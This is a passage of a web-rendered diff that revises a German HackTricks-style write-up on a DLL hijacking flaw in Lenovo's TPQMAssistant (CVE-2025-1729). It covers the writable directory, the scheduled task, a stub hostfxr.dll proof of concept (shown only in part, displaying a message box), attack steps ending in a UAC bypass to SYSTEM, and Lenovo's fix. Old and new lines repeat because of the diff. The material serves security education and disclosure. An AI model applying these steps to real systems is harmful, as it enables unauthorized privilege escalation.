- **DLL-Suchverhalten**: Versucht, `hostfxr.dll` zuerst aus seinem Arbeitsverzeichnis zu laden und protokolliert "NAME NOT FOUND", wenn sie fehlt, was auf eine Vorrangstellung der lokalen Verzeichnissuche hinweist.
|
||||
- **Geplante Aufgabe**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` läuft täglich um 9:30 AM im Kontext des angemeldeten Benutzers.
|
||||
- **Verzeichnisberechtigungen**: Schreibbar für `CREATOR OWNER`, wodurch lokale Benutzer beliebige Dateien ablegen können.
|
||||
- **DLL-Suchverhalten**: Versucht zuerst, `hostfxr.dll` aus seinem Arbeitsverzeichnis zu laden und protokolliert "NAME NOT FOUND", falls sie fehlt — was auf Vorrang der lokalen Verzeichnissuche hinweist.
|
||||
|
||||
### Exploit-Implementierung
|
||||
|
||||
Ein Angreifer kann einen bösartigen `hostfxr.dll` Stub im selben Verzeichnis platzieren, um die fehlende DLL auszunutzen und die Codeausführung im Kontext des Benutzers zu erreichen:
|
||||
Ein Angreifer kann eine bösartige `hostfxr.dll`-Stubdatei im selben Verzeichnis ablegen und die fehlende DLL ausnutzen, um Codeausführung im Kontext des Benutzers zu erreichen:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -238,23 +331,28 @@ MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
### Angriffsfluss
|
||||
### Angriffsablauf
|
||||
|
||||
1. Als Standardbenutzer `hostfxr.dll` in `C:\ProgramData\Lenovo\TPQM\Assistant\` ablegen.
|
||||
2. Warten, bis die geplante Aufgabe um 9:30 Uhr im Kontext des aktuellen Benutzers ausgeführt wird.
|
||||
3. Wenn ein Administrator angemeldet ist, während die Aufgabe ausgeführt wird, wird die bösartige DLL in der Sitzung des Administrators mit mittlerer Integrität ausgeführt.
|
||||
4. Ketten Sie Standard-UAC-Bypass-Techniken, um von mittlerer Integrität auf SYSTEM-Rechte zu erhöhen.
|
||||
2. Auf die Ausführung der geplanten Aufgabe um 9:30 Uhr im Kontext des aktuellen Benutzers warten.
|
||||
3. Wenn ein Administrator angemeldet ist, wenn die Aufgabe ausgeführt wird, läuft die bösartige DLL in der Sitzung des Administrators mit mittlerer Integrität.
|
||||
4. Verwende Standard UAC bypass techniques, um von mittlerer Integrität auf SYSTEM-Privilegien zu eskalieren.
|
||||
|
||||
### Minderung
|
||||
### Gegenmaßnahme
|
||||
|
||||
Lenovo hat die UWP-Version **1.12.54.0** über den Microsoft Store veröffentlicht, die TPQMAssistant unter `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` installiert, die anfällige geplante Aufgabe entfernt und die veralteten Win32-Komponenten deinstalliert.
|
||||
Lenovo hat über den Microsoft Store die UWP-Version **1.12.54.0** veröffentlicht, die TPQMAssistant unter `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` installiert, die verwundbare geplante Aufgabe entfernt und die veralteten Win32-Komponenten deinstalliert.
|
||||
|
||||
## Referenzen
|
||||
## Quellen
|
||||
|
||||
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||||
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user